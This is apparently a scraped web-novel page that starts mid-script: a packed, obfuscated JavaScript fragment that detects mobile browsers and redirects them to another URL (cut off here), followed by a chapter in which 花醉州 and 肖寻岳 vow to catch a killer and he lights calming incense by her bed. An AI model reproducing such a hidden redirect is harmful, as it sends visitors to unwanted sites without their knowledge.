d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449777|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 花醉州抬起头,明日卯时,不酣楼。 至于他所隐瞒的,她也不想追问。 “在这里等着,万一人没等到,你先垮了怎么办,你本就受了许多伤。” 花醉州平视着他的眼睛,蓦地一笑:“肖子商,你这张嘴,可真会说。” 肖寻岳跟着一笑,眼里闪过一抹坚定:“安心睡吧,杀害罗娘的凶手,我一定不会放过。” 花醉州点点头,把手伸到他面前:“带我一个。” 见肖寻岳没动,花醉州拉着他的胳膊,握上他的手:“好了,约定既成,万难不退。” 肖寻岳定定地望着她,目光从她弯着的眼游移到交握的手:“好,万难不退。” “那我回去睡了,你也要早点休息。”花醉州站在门口,嘱咐道。 “好。” 只可惜…… 花醉州仰面躺着床上,生无可恋的盯着床顶雕刻着的花纹。 话还是说太早了。 越是到夜半,她反而越是清醒,翻来覆去怎么都睡不着,正胡思乱想着,门忽的一响。 有人? 花醉州赶忙闭上眼,反手摸到剖心,拔出一寸,警惕着。 脚步声越来越近,直到绕过门前屏风,就快要到榻前,等等,好熟悉,是肖寻岳? 这么晚,他来干什么? 花醉州慢慢松开握着剖心的手,静静等着他下一步动作。 他手脚很轻,像是怕把她吵醒,等了片刻,似乎是确定她熟睡着,耳边一阵风过,肖寻岳不知道放了个什么东西在她榻边矮桌上,随后又点起火折子,伸手挡住光,点燃了一炷香。 那香味道散的很快,刚点上就散开一大片。 这是…… 花醉州翕动鼻子,闻了闻。 安神香? 他……怕我睡不好? 花醉州心里湿漉漉的,就像是她八岁那年,刚把桃子捡回来,小小的一只幼狗,乖巧的窝在她手心。 小心翼翼的挑着豆豆眼看她,趁她不注意,又调皮的舔了一下她的指尖,是那样湿润的、新奇的感觉。 点完香,肖寻岳静静站在榻前,待了一小会儿,也不知在想什么,然后才出了门。 这下,花醉州本就混乱的脑子更乱了,连带着心也开始四处乱窜,安神香兢兢业业散发着香味。 他到底知不知道半夜进女子闺房是不对的! 虽然这也不是她的闺房。 但这不重要啊!重点是他怎么想的,怎么就进来了,他不像是不守规矩的冲动的人。 他明明,最是古板了。 杂七杂八的想着,她闻着香味,竟也就这样睡着了。 这安神香,效果真好…… 明日,她要找他多要些,给师娘带回去…… 她沉沉睡去,不知肖寻岳还站在门口,用力按住自己的心口,垂眸看向那只颤抖的右手。 疯了。 真是疯了。 刚刚在房内,他在想什么。 差点就摸上她的脸了…… 肖寻岳摸摸额头,没发烧。 他擦去脸上的汗,一步一步走向自己的卧房。 风过,卷起大片乌云,露出天上一弯亏眉月。